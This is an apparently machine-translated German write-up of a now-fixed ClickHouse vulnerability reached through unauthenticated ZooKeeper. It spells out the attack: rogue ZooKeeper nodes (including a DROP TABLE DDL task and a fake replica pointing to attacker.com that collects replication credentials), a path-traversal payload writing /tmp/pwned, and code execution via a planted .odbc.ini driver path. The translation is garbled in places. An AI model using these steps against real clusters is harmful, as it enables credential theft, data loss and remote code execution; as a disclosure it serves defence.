Warum müssen Zookäfige geschlossen bleiben?

Warum müssen Zookäfige geschlossen bleiben?

Dieser Artikel erzählt die Geschichte einer sehr spezifischen Schwachstelle im ClickHouse-Replikationsprotokoll und zeigt auch, wie die Angriffsfläche erweitert werden kann.

ClickHouse ist eine Datenbank zum Speichern großer Datenmengen, wobei meist mehr als ein Replikat verwendet wird. Clustering und Replikation in ClickHouse bauen darauf auf Apache ZooKeeper (ZK) und erfordern Schreibrechte.

Die Standardinstallation von ZK erfordert keine Authentifizierung, daher sind Tausende von ZK-Servern, die zur Konfiguration von Kafka, Hadoop und ClickHouse verwendet werden, öffentlich verfügbar.

Um Ihre Angriffsfläche zu reduzieren, sollten Sie bei der Installation von ZooKeeper immer Authentifizierung und Autorisierung konfigurieren

Es gibt natürlich einige 0-Tage-basierte Java-Deserialisierungen, aber stellen Sie sich vor, dass ein Angreifer ZooKeeper lesen und schreiben könnte, der für die ClickHouse-Replikation verwendet wird.

Bei der Konfiguration im Cluster-Modus unterstützt ClickHouse verteilte Abfragen DDL, durch ZK verlaufend - für sie werden Knoten im Blatt erstellt /clickhouse/task_queue/ddl.

Sie erstellen beispielsweise einen Knoten /clickhouse/task_queue/ddl/query-0001 mit Inhalt:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

Anschließend wird die Testtabelle auf den Clusterservern host1 und host2 gelöscht. DDL unterstützt auch das Ausführen von CREATE/ALTER/DROP-Abfragen.

Klingt gruselig? Doch woher kommt ein Angreifer an Serveradressen?

ClickHouse-Replikation funktioniert auf der Ebene einzelner Tabellen, sodass beim Erstellen einer Tabelle in ZK ein Server angegeben wird, der für den Austausch von Metadaten mit Replikaten verantwortlich ist. Zum Beispiel beim Ausführen einer Anfrage (ZK muss konfiguriert sein, chXX - Name der Replik, foobar - Tabellenname):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

Knoten werden erstellt Spalten и Metadaten.

Inhalt /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ist es möglich, Daten aus diesem Cluster zusammenzuführen? Ja, wenn der Replikationsport (TCP/9009) auf dem Server chXX-address Die Firewall wird nicht geschlossen und die Authentifizierung für die Replikation wird nicht konfiguriert. Wie kann ich die Authentifizierung umgehen?

Ein Angreifer kann eine neue Replik in ZK erstellen, indem er einfach den Inhalt kopiert /clickhouse/tables/01-01/foobar/replicas/chXX und die Bedeutung ändern host.

Inhalt /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Dann müssen Sie den anderen Replikaten mitteilen, dass es auf dem Server des Angreifers einen neuen Datenblock gibt, den sie übernehmen müssen – ein Knoten wird in ZK erstellt /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX monoton wachsender Zähler, der größer sein sollte als der letzte im Ereignisprotokoll):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

wo source_replica – der Name der Replik des Angreifers, die im vorherigen Schritt erstellt wurde, block_id — Datenblockkennung, bekommen - Befehl „get block“ (und Hier sind Befehle für andere Operationen).

Als nächstes liest jedes Replikat ein neues Ereignis im Protokoll und geht zu einem vom Angreifer kontrollierten Server, um einen Datenblock zu empfangen (das Replikationsprotokoll ist binär und läuft auf HTTP). Server attacker.com erhalten Anfragen:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

Dabei sind XXX die Authentifizierungsdaten für die Replikation. In einigen Fällen kann es sich dabei um ein Konto mit Zugriff auf die Datenbank über das ClickHouse-Hauptprotokoll und das HTTP-Protokoll handeln. Wie Sie gesehen haben, wird die Angriffsfläche kritisch groß, weil ZooKeeper, der für die Replikation verwendet wird, ohne konfigurierte Authentifizierung belassen wurde.

Schauen wir uns die Funktion an, einen Datenblock von einem Replikat abzurufen. Es wird mit der vollen Gewissheit geschrieben, dass alle Replikate unter ordnungsgemäßer Kontrolle stehen und Vertrauen zwischen ihnen besteht.

Warum müssen Zookäfige geschlossen bleiben?
Replikationsverarbeitungscode

Die Funktion liest eine Liste von Dateien, dann deren Namen, Größen und Inhalte und schreibt sie dann in das Dateisystem. Es lohnt sich, gesondert zu beschreiben, wie Daten im Dateisystem gespeichert werden.

Es gibt mehrere Unterverzeichnisse in /var/lib/clickhouse (Standardspeicherverzeichnis aus der Konfigurationsdatei):

Fahnen - Verzeichnis zur Aufnahme Flaggen, wird bei der Wiederherstellung nach Datenverlust verwendet;
tmp — Verzeichnis zum Speichern temporärer Dateien;
Benutzerdaten — Operationen mit Dateien in Anfragen sind auf dieses Verzeichnis beschränkt (INTO OUTFILE und andere);
Metadaten — SQL-Dateien mit Tabellenbeschreibungen;
vorverarbeitete_configs - abgeleitete Konfigurationsdateien verarbeitet von /etc/clickhouse-server;
technische Daten - das eigentliche Verzeichnis mit den Daten selbst, in diesem Fall wird hier einfach für jede Datenbank ein eigenes Unterverzeichnis angelegt (z.B /var/lib/clickhouse/data/default).

Für jede Tabelle wird ein Unterverzeichnis im Datenbankverzeichnis erstellt. Jede Spalte ist eine separate Datei, je nachdem Motorformat. Zum Beispiel für einen Tisch foobarVon einem Angreifer erstellt, werden die folgenden Dateien erstellt:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Das Replikat erwartet bei der Verarbeitung eines Datenblocks den Empfang von Dateien mit demselben Namen und validiert diese in keiner Weise.

Der aufmerksame Leser hat wahrscheinlich schon von der unsicheren Verkettung von Dateiname in einer Funktion gehört WriteBufferFromFile. Ja, dies ermöglicht es einem Angreifer, mit Benutzerrechten beliebige Inhalte in jede Datei auf dem FS zu schreiben clickhouse. Dazu muss das vom Angreifer kontrollierte Replikat die folgende Antwort auf die Anfrage zurückgeben (zum besseren Verständnis wurden Zeilenumbrüche hinzugefügt):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

und nach der Verkettung ../../../../../../../../../tmp/pwned Die Datei wird geschrieben /tmp/pwned mit Inhalt Hallo vom Zoowärter.

Es gibt mehrere Möglichkeiten, die Fähigkeit zum Schreiben von Dateien in Remote Code Execution (RCE) umzuwandeln.

Externe Wörterbücher in RCE

In älteren Versionen wurde das Verzeichnis mit ClickHouse-Einstellungen mit Benutzerrechten gespeichert Clickhouse Default. Einstellungsdateien sind XML-Dateien, die der Dienst beim Start liest und dann zwischenspeichert /var/lib/clickhouse/preprocessed_configs. Bei Änderungen werden diese erneut gelesen. Wenn Sie Zugriff darauf haben /etc/clickhouse-server Ein Angreifer kann sein eigenes erstellen externes Wörterbuch ausführbaren Typ und führen Sie dann beliebigen Code aus. Aktuelle Versionen von ClickHouse stellen standardmäßig keine Rechte bereit, aber wenn der Server nach und nach aktualisiert würde, könnten diese Rechte bestehen bleiben. Wenn Sie einen ClickHouse-Cluster unterstützen, überprüfen Sie die Rechte am Einstellungsverzeichnis, es muss dem Benutzer gehören root.

ODBC zu RCE

Bei der Installation eines Pakets wird ein Benutzer erstellt clickhouse, aber sein Home-Verzeichnis wird nicht erstellt /nonexistent. Bei Verwendung externer Wörterbücher oder aus anderen Gründen erstellen Administratoren jedoch ein Verzeichnis /nonexistent und geben Sie dem Benutzer clickhouse Zugriff, um darauf zu schreiben (SSZB! ca. Übersetzer).

ClickHouse unterstützt ODBC und kann sich mit anderen Datenbanken verbinden. In ODBC können Sie den Pfad zur Datenbanktreiberbibliothek (.so) angeben. In älteren Versionen von ClickHouse war dies direkt im Request-Handler möglich, jetzt wurde jedoch eine strengere Prüfung der Verbindungszeichenfolge hinzugefügt odbc-bridgeDaher ist es nicht mehr möglich, den Treiberpfad aus der Anfrage anzugeben. Aber kann ein Angreifer über die oben beschriebene Schwachstelle in das Home-Verzeichnis schreiben?

Lassen Sie uns eine Datei erstellen ~/.odbc.ini mit Inhalten wie diesem:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

dann beim Start SELECT * FROM odbc('DSN=lalala', 'test', 'test'); Die Bibliothek wird geladen test.so und RCE erhalten (Danke buglloc für den Tipp).

Diese und andere Schwachstellen wurden in ClickHouse Version 19.14.3 behoben. Kümmern Sie sich um Ihr ClickHouse und ZooKeeper!

Source: habr.com

Kommentar hinzufügen